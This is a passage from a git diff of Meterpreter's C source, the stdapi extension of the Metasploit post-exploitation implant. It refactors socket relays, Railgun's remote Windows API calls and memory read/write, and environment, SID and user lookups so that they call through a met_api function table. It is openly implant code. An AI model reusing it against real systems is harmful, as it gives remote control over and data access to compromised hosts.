packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport); - packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost); - packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport); + met_api->packet.add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(clientctx->channel)); + met_api->packet.add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, met_api->channel.get_id(serverCtx->channel)); + met_api->packet.add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost); + met_api->packet.add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport); + met_api->packet.add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost); + met_api->packet.add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport); - dwResult = packet_transmit(serverCtx->remote, request, NULL); + dwResult = met_api->packet.transmit(serverCtx->remote, request, NULL); } while (0); @@ -284,7 +285,7 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) do { - response = packet_create_response(packet); + response = met_api->packet.create_response(packet); if (!response) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); @@ -300,8 +301,8 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) ctx->remote = remote; - localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF); - localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST); + localPort = (USHORT)(met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF); + localHost = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST); ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if (ctx->fd == INVALID_SOCKET) @@ -368,22 +369,22 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) chops.native.context = ctx; chops.native.close = tcp_channel_server_close; - ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops); + ctx->channel = met_api->channel.create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops); if (!ctx->channel) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE); } - scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL); + met_api->scheduler.insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel)); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(ctx->channel)); net_tlv_pack_local_addrinfo(ctx, response); - dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel)); + dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, met_api->channel.get_id(ctx->channel)); } while (0); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); do { @@ -408,7 +409,7 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) if (ctx->channel) { dprintf("[TCP-SERVER] Destroying channel"); - channel_destroy(ctx->channel, packet); + met_api->channel.destroy(ctx->channel, packet); } free(ctx); diff --git a/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c b/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c index cac0512d..34857743 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "udp.h" /* @@ -22,7 +23,7 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP if( !ctx ) BREAK_WITH_ERROR( "[UDP] udp_channel_write. ctx == NULL", ERROR_INVALID_HANDLE ); - rport = (USHORT)( packet_get_tlv_value_uint( request, TLV_TYPE_PEER_PORT ) & 0xFFFF ); + rport = (USHORT)( met_api->packet.get_tlv_value_uint( request, TLV_TYPE_PEER_PORT ) & 0xFFFF ); if( !rport ) { rport = ctx->peerport; @@ -30,7 +31,7 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP BREAK_WITH_ERROR( "[UDP] udp_channel_write. A peer port must be specified", ERROR_INVALID_PARAMETER ); } - host = packet_get_tlv_value_string( request, TLV_TYPE_PEER_HOST ); + host = met_api->packet.get_tlv_value_string( request, TLV_TYPE_PEER_HOST ); if( !host ) { rhost = ctx->peerhost.s_addr; @@ -121,7 +122,7 @@ VOID free_udp_context( UdpSocketContext * ctx ) if( ctx->sock.channel ) { - channel_close( ctx->sock.channel, ctx->sock.remote, NULL, 0, NULL ); + met_api->channel.close( ctx->sock.channel, ctx->sock.remote, NULL, 0, NULL ); ctx->sock.channel = NULL; } @@ -129,7 +130,7 @@ VOID free_udp_context( UdpSocketContext * ctx ) { dprintf( "[UDP] free_udp_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->sock.notify ); // The scheduler calls CloseHandle on our WSACreateEvent() for us - scheduler_signal_waitable( ctx->sock.notify, Stop ); + met_api->scheduler.signal_waitable( ctx->sock.notify, SchedulerStop ); ctx->sock.notify = NULL; } @@ -177,7 +178,7 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx ) { dprintf( "[UDP] udp_channel_notify. channel=0x%08X is being gracefully closed...", ctx->sock.channel ); - channel_set_native_io_context( ctx->sock.channel, NULL ); + met_api->channel.set_native_io_context( ctx->sock.channel, NULL ); Sleep( 250 ); @@ -210,7 +211,7 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx ) dprintf( "[UDP] udp_channel_notify. Data on channel=0x%08X, read %d bytes from %s:%d", ctx->sock.channel, dwBytesRead, cpPeerHost, ntohs( from.sin_port ) ); - channel_write( ctx->sock.channel, ctx->sock.remote, addend, 2, bBuffer, dwBytesRead, NULL ); + met_api->channel.write( ctx->sock.channel, ctx->sock.remote, addend, 2, bBuffer, dwBytesRead, NULL ); } } while( 0 ); @@ -240,7 +241,7 @@ DWORD udp_channel_close( Channel * channel, Packet * request, LPVOID context ) free_udp_context( ctx ); // Set the native channel operations context to NULL - channel_set_native_io_context( channel, NULL ); + met_api->channel.set_native_io_context( channel, NULL ); } while( 0 ); @@ -263,7 +264,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) do { - response = packet_create_response( packet ); + response = met_api->packet.create_response( packet ); if( !response ) BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY ); @@ -275,21 +276,21 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) ctx->sock.remote = remote; - ctx->localport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF ); + ctx->localport = (USHORT)( met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF ); if( !ctx->localport ) ctx->localport = 0; - ctx->peerport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_PEER_PORT ) & 0xFFFF ); + ctx->peerport = (USHORT)( met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_PEER_PORT ) & 0xFFFF ); if( !ctx->peerport ) ctx->peerport = 0; - lhost = packet_get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST ); + lhost = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST ); if( lhost ) ctx->localhost.s_addr = inet_addr( lhost ); else ctx->localhost.s_addr = INADDR_ANY; - phost = packet_get_tlv_value_string( packet, TLV_TYPE_PEER_HOST ); + phost = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_PEER_HOST ); if( phost ) { dprintf( "[UDP] request_net_udp_channel_open. phost=%s", phost ); @@ -319,20 +320,20 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) chops.native.write = udp_channel_write; chops.native.close = udp_channel_close; - ctx->sock.channel = channel_create_datagram( 0, 0, &chops ); + ctx->sock.channel = met_api->channel.create_datagram( 0, 0, &chops ); if( !ctx->sock.channel ) BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE ); - scheduler_insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL ); + met_api->scheduler.insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL ); - packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->sock.channel) ); + met_api->packet.add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(ctx->sock.channel) ); net_tlv_pack_local_addrinfo( &ctx->sock, response ); - dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", channel_get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport ); + dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", met_api->channel.get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport ); } while( 0 ); - packet_transmit_response( dwResult, remote, response ); + met_api->packet.transmit_response( dwResult, remote, response ); do { @@ -346,7 +347,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) closesocket( ctx->sock.fd ); if( ctx->sock.channel ) - channel_destroy( ctx->sock.channel, packet ); + met_api->channel.destroy( ctx->sock.channel, packet ); free( ctx ); diff --git a/c/meterpreter/source/extensions/stdapi/server/precomp.h b/c/meterpreter/source/extensions/stdapi/server/precomp.h index d78cc581..95f76b88 100644 --- a/c/meterpreter/source/extensions/stdapi/server/precomp.h +++ b/c/meterpreter/source/extensions/stdapi/server/precomp.h @@ -19,7 +19,6 @@ #include "railgun/railgun.h" // PKS, win32 specific at the moment. -#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h" #include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" // declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c diff --git a/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c b/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c index 029f50db..51f9a8c9 100755 --- a/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c +++ b/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c @@ -29,6 +29,7 @@ */ #include "precomp.h" +#include "common_metapi.h" #include "railgun.h" // Gives me a copy of a data item of type TLV_META_TYPE_RAW @@ -37,8 +38,8 @@ BYTE * getRawDataCopy(Packet *packet,TlvType type, DWORD * size){ Tlv tlv; BYTE * bufferCopy; - if (packet_get_tlv(packet, type, &tlv) != ERROR_SUCCESS){ - dprintf("getRawDataCopy: packet_get_tlv failed"); + if (met_api->packet.get_tlv(packet, type, &tlv) != ERROR_SUCCESS){ + dprintf("getRawDataCopy: met_api->packet.get_tlv failed"); *size = 0; return NULL; } @@ -56,8 +57,8 @@ BYTE * getRawDataCopyFromGroup(Packet *packet, Tlv *group, TlvType type, DWORD * Tlv tlv; BYTE * bufferCopy; - if( packet_get_tlv_group_entry(packet, group, type, &tlv) != ERROR_SUCCESS ) { - dprintf("getRawDataCopyFromGroup: packet_get_tlv failed"); + if( met_api->packet.get_tlv_group_entry(packet, group, type, &tlv) != ERROR_SUCCESS ) { + dprintf("getRawDataCopyFromGroup: met_api->packet.get_tlv failed"); *size = 0; return NULL; } @@ -361,7 +362,7 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput ) // Multi-request railgun API DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_SUCCESS; DWORD index = 0; Tlv reqTlv = {0}; @@ -374,7 +375,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) dprintf( "[RAILGUN] request_railgun_api_multi: processing %d elements (%d | %d)", TLV_TYPE_RAILGUN_MULTI_GROUP, packet->header.type, packet->header.length); - while( packet_enum_tlv( packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv ) == ERROR_SUCCESS ) + while( met_api->packet.enum_tlv( packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv ) == ERROR_SUCCESS ) { dprintf( "[RAILGUN] request_railgun_api_multi: index=%d", index ); @@ -384,7 +385,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) do { // get ths inputs for this call... - if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv ) != ERROR_SUCCESS ) + if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv ) != ERROR_SUCCESS ) { dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_SIZE_OUT" ); break; @@ -406,7 +407,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) break; } - if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv ) != ERROR_SUCCESS ) + if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv ) != ERROR_SUCCESS ) { dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_DLLNAME" ); break; @@ -419,7 +420,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) break; } - if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv ) != ERROR_SUCCESS ) + if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv ) != ERROR_SUCCESS ) { dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_FUNCNAME" ); break; @@ -433,7 +434,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) } rInput.cpCallConv = "stdcall"; - if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_CALLCONV, &tmpTlv ) != ERROR_SUCCESS ) + if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_CALLCONV, &tmpTlv ) != ERROR_SUCCESS ) { dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_CALLCONV, defaulting to stdcall" ); } @@ -442,9 +443,9 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) rInput.cpCallConv = (PCHAR)tmpTlv.buffer; } - if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS ) + if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS ) { - dprintf( "[RAILGUN] request_railgun_api_multi: packet_get_tlv_group_entry failed" ); + dprintf( "[RAILGUN] request_railgun_api_multi: met_api->packet.get_tlv_group_entry failed" ); break; } @@ -477,7 +478,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) tlvs[5].buffer = (PUCHAR)rOutput.pErrMsg; } - packet_add_tlv_group( response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, dwResult == ERROR_SUCCESS ? sizeof(tlvs) / sizeof(tlvs[0]) : 1 ); + met_api->packet.add_tlv_group( response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, dwResult == ERROR_SUCCESS ? sizeof(tlvs) / sizeof(tlvs[0]) : 1 ); } while(0); @@ -496,7 +497,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) LocalFree( (HLOCAL)rOutput.pErrMsg ); } - packet_transmit_response( ERROR_SUCCESS, remote, response ); + met_api->packet.transmit_response( ERROR_SUCCESS, remote, response ); dprintf( "[RAILGUN] request_railgun_api_multi: Finished." ); @@ -516,7 +517,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) do { - pResponse = packet_create_response( pPacket ); + pResponse = met_api->packet.create_response( pPacket ); if( !pResponse ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: !pResponse", ERROR_INVALID_HANDLE ); @@ -524,7 +525,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) memset( &rOutput, 0, sizeof(RAILGUN_OUTPUT) ); // Prepare the OUT-Buffer (undefined content) - rInput.dwBufferSizeOUT = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_SIZE_OUT ); + rInput.dwBufferSizeOUT = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_SIZE_OUT ); // get the IN-Buffer rInput.pBufferIN = getRawDataCopy( pPacket,TLV_TYPE_RAILGUN_BUFFERBLOB_IN, (DWORD *)&rInput.dwBufferSizeIN); @@ -537,22 +538,22 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT", ERROR_INVALID_PARAMETER ); // Get cpDllName - rInput.cpDllName = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_DLLNAME ); + rInput.cpDllName = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_DLLNAME ); if( !rInput.cpDllName ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME", ERROR_INVALID_PARAMETER ); // Get cpFuncName - rInput.cpFuncName = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_FUNCNAME ); + rInput.cpFuncName = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_FUNCNAME ); if( !rInput.cpFuncName ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME", ERROR_INVALID_PARAMETER ); // Get cpCallConv - rInput.cpCallConv = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_CALLCONV ); + rInput.cpCallConv = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_CALLCONV ); if( !rInput.cpCallConv ) rInput.cpCallConv = "stdcall"; // get the pStack-description (1 ULONG_PTR description, 1 ULONG_PTR data) - if( packet_get_tlv( pPacket, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS) + if( met_api->packet.get_tlv( pPacket, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_STACKBLOB", ERROR_INVALID_PARAMETER ); dwResult = railgun_call( &rInput, &rOutput ); @@ -563,10 +564,10 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) { if( dwResult == ERROR_SUCCESS ) { - packet_add_tlv_uint( pResponse, TLV_TYPE_RAILGUN_BACK_ERR, rOutput.dwLastError ); - packet_add_tlv_qword( pResponse, TLV_TYPE_RAILGUN_BACK_RET, rOutput.qwReturnValue ); - packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, rOutput.pBufferOUT, (DWORD)rOutput.dwBufferSizeOUT ); - packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, rOutput.pBufferINOUT, (DWORD)rOutput.dwBufferSizeINOUT ); + met_api->packet.add_tlv_uint( pResponse, TLV_TYPE_RAILGUN_BACK_ERR, rOutput.dwLastError ); + met_api->packet.add_tlv_qword( pResponse, TLV_TYPE_RAILGUN_BACK_RET, rOutput.qwReturnValue ); + met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, rOutput.pBufferOUT, (DWORD)rOutput.dwBufferSizeOUT ); + met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, rOutput.pBufferINOUT, (DWORD)rOutput.dwBufferSizeINOUT ); // There are cases where FormatMessage is failing for various functions on various platforms. // eg. inet_addr() on Windows XP SP3 x86 and NetGetJoinInformation() on Windows 8 x64 @@ -580,10 +581,10 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) pErrorMsg = "FormatMessage failed to retrieve the error."; } - packet_add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg ); + met_api->packet.add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg ); } - dwResult = packet_transmit_response(dwResult, pRemote, pResponse); + dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse); } if( rInput.pBufferIN ) @@ -620,15 +621,15 @@ DWORD request_railgun_memread( Remote * pRemote, Packet * pPacket ) do { - pResponse = packet_create_response( pPacket ); + pResponse = met_api->packet.create_response( pPacket ); if( !pResponse ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !pResponse", ERROR_INVALID_HANDLE ); - lpAddress = (LPVOID)packet_get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS ); + lpAddress = (LPVOID)met_api->packet.get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS ); if( !lpAddress ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !lpAddress", ERROR_INVALID_PARAMETER ); - dwLength = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH ); + dwLength = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH ); if( !dwLength ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !dwLength", ERROR_INVALID_PARAMETER ); @@ -650,9 +651,9 @@ DWORD request_railgun_memread( Remote * pRemote, Packet * pPacket ) if( pResponse ) { if( pData ) - packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_MEM_DATA, pData, dwLength ); + met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_MEM_DATA, pData, dwLength ); - dwResult = packet_transmit_response(dwResult, pRemote, pResponse); + dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse); } if( pData ) @@ -678,19 +679,19 @@ DWORD request_railgun_memwrite( Remote * pRemote, Packet * pPacket ) do { - pResponse = packet_create_response( pPacket ); + pResponse = met_api->packet.create_response( pPacket ); if( !pResponse ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !pResponse", ERROR_INVALID_HANDLE ); - lpAddress = (LPVOID)packet_get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS ); + lpAddress = (LPVOID)met_api->packet.get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS ); if( !lpAddress ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !lpAddress", ERROR_INVALID_PARAMETER ); - pData = packet_get_tlv_value_raw( pPacket, TLV_TYPE_RAILGUN_MEM_DATA ); + pData = met_api->packet.get_tlv_value_raw( pPacket, TLV_TYPE_RAILGUN_MEM_DATA ); if( !pData ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !pData", ERROR_INVALID_PARAMETER ); - dwLength = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH ); + dwLength = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH ); if( !dwLength ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !dwLength", ERROR_INVALID_PARAMETER ); @@ -707,7 +708,7 @@ DWORD request_railgun_memwrite( Remote * pRemote, Packet * pPacket ) if( pResponse ) { - dwResult = packet_transmit_response(dwResult, pRemote, pResponse); + dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse); } dprintf("[RAILGUN] request_railgun_memwrite: Finished."); diff --git a/c/meterpreter/source/extensions/stdapi/server/stdapi.c b/c/meterpreter/source/extensions/stdapi/server/stdapi.c index ce751388..5cf66e62 100644 --- a/c/meterpreter/source/extensions/stdapi/server/stdapi.c +++ b/c/meterpreter/source/extensions/stdapi/server/stdapi.c @@ -3,6 +3,10 @@ * regards */ #include "precomp.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the @@ -11,9 +15,6 @@ // NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - // General extern DWORD request_general_channel_open(Remote *remote, Packet *packet); @@ -175,11 +176,11 @@ Command customCommands[] = * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all(customCommands); return ERROR_SUCCESS; } @@ -191,7 +192,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c b/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c index d0d58def..7bb03c57 100755 --- a/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include #include @@ -28,7 +29,7 @@ VOID add_env_pair(Packet *response, char * envVar, char *envVal) entries[1].header.length = (DWORD)strlen(envVal) + 1; entries[1].buffer = (PUCHAR)envVal; - packet_add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2); + met_api->packet.add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2); } else { @@ -46,7 +47,7 @@ VOID add_env_pair(Packet *response, char * envVar, char *envVal) */ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_SUCCESS; DWORD dwTlvIndex = 0; Tlv envTlv; @@ -55,7 +56,7 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) do { - while (ERROR_SUCCESS == packet_enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv)) + while (ERROR_SUCCESS == met_api->packet.enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv)) { pEnvVarStart = (char*)envTlv.buffer; @@ -87,13 +88,13 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) dprintf("[ENV] Final env var: %s", pEnvVarStart); // grab the value of the variable and stick it in the response. - PWCHAR name = utf8_to_wchar(pEnvVarStart); + PWCHAR name = met_api->string.utf8_to_wchar(pEnvVarStart); //Ensure we always have > 0 bytes even if env var doesn't exist DWORD envlen = GetEnvironmentVariableW(name, NULL, 0) + 1; PWCHAR wvalue = (PWCHAR)malloc(envlen * sizeof(WCHAR)); GetEnvironmentVariableW(name, wvalue, envlen); free(name); - char* value = wchar_to_utf8(wvalue); + char* value = met_api->string.wchar_to_utf8(wvalue); free(wvalue); add_env_pair(response, pEnvVarStart, value); free(value); @@ -103,7 +104,7 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) } while (0); dprintf("[ENV] Transmitting response."); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); dprintf("[ENV] done."); return dwResult; @@ -153,7 +154,7 @@ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest) DWORD dwResult; BYTE tokenUserInfo[4096]; LPSTR pSid = NULL; - Packet *pResponse = packet_create_response(pRequest); + Packet *pResponse = met_api->packet.create_response(pRequest); do { @@ -172,11 +173,11 @@ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest) if (pSid != NULL) { - packet_add_tlv_string(pResponse, TLV_TYPE_SID, pSid); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_SID, pSid); LocalFree(pSid); } - packet_transmit_response(dwResult, pRemote, pResponse); + met_api->packet.transmit_response(dwResult, pRemote, pResponse); return dwResult; } @@ -215,15 +216,15 @@ DWORD populate_uid(Packet* pResponse) BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data"); } - char *domainName = wchar_to_utf8(cbDomainOnly); - char *userName = wchar_to_utf8(cbUserOnly); + char *domainName = met_api->string.wchar_to_utf8(cbDomainOnly); + char *userName = met_api->string.wchar_to_utf8(cbUserOnly); // Make full name in DOMAIN\USERNAME format _snprintf(cbUsername, 512, "%s\\%s", domainName, userName); free(domainName); free(userName); cbUsername[511] = '\0'; - packet_add_tlv_string(pResponse, TLV_TYPE_USER_NAME, 